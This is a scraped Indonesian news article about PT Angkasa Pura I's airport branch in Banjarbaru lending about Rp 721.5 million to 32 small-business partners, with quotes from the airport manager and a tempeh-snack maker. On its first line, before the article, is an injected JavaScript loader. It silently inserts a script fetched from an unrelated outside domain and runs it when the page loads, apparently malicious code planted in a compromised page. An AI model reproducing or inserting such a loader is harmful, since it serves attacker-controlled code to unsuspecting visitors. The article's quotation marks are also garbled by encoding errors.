(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, PT Angkasa Pura I (Persero) Cabang Bandar Udara Syamsudin Noor pada tahun 2019 ini kembali menyalurkan Pinjaman Kemitraan Tahap II Tahun 2019 kepada 32 mitra binaan yang terdiri dari para pelaku Usaha Mikro Kecil Menengah (UMKM).
General Manager Bandara Syamsudin Noor Indah Preastuty mengatakan, penyaluran pinjaman kepada UMKM kali ini berjumlah kurang sebesar Rp 721,5 juta.
“Dari total 32 pelaku usaha, 9 diantaranya merupakan mitra lanjutan, sedangkan sisanya lagi mitra baru,†ujar Indah, Jumat (16/9).
Bentuk kepedulian bandara terhadap usaha kecil di Kalsel memang sudah lama dilakukan. Setiap UMKM di Bumi Lambung Mangkurat ini pun kata Indah, dapat mengajukan bantuan pinjaman melalui proposal tanpa adanya batas jarak atau wilayah. “Siapa saja bisa mengajukan bantuan. Tapi kami evaluasi dan disurvei dulu. Kalau layak, pasti kami bantu,†ungkapnya.
Ke 32 para mitra binaan ini masing-masing terbagi dari 5 sektor. Seperti halnya dari sektor Industri yang mendapat pinjaman Rp 138 Juta (7 mitra binaan). Lalu sektor perdagangan sebesar Rp 138 juta (18 mitra binaan) dan sektor pertanian Rp 25 juta (1 mitra binaan). Selanjutnya dari sektor perkebunan yang mendapat pinjaman paling besar yakni Rp 300 juta (14 mitra binaan) dan sektor jasa (2 mitra binaan).
Gelontoran dana pinjaman kemitraan ini lanjut Indah, mulai Tahap I dan II telah terkucur 50 persen dari target sebesar Rp 2 miliar. “Semoga penyaluran bantuan pinjaman dana ini dapat bermanfaat, dan pengusaha kecil mampu bangkit dan memajukan usaha mereka hingga mandiri kelak,†harapnya.
Di pihak lain, salah satu penerima bantuan pinjaman dana Angkasa Pura, Dewi merasa bersyukur. Melalui dana ini, dirinya meyakini mampu mengembangkan inovasi produk Mendoan Talitha yang tengah digelutinya saat ini.
Usaha Mendoan ini ujar Dewi, sudah disalurkan ke pasar tradisional, bahkan telah merambah ke beberapa mini market dan beberapa outlet yang tersebar di Kota Banjarbaru. Produknya berupa olahan Tempe dan Tepung Mendoan. “Alhamdulillah dapat bantuan dana pinjaman dari Angkasa Pura. Insya Allah produk usaha kami bisa lebih berkembang lagi. Pastinya kami akan berinovasi untuk memuaskan konsumen,†katanya. (rico)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.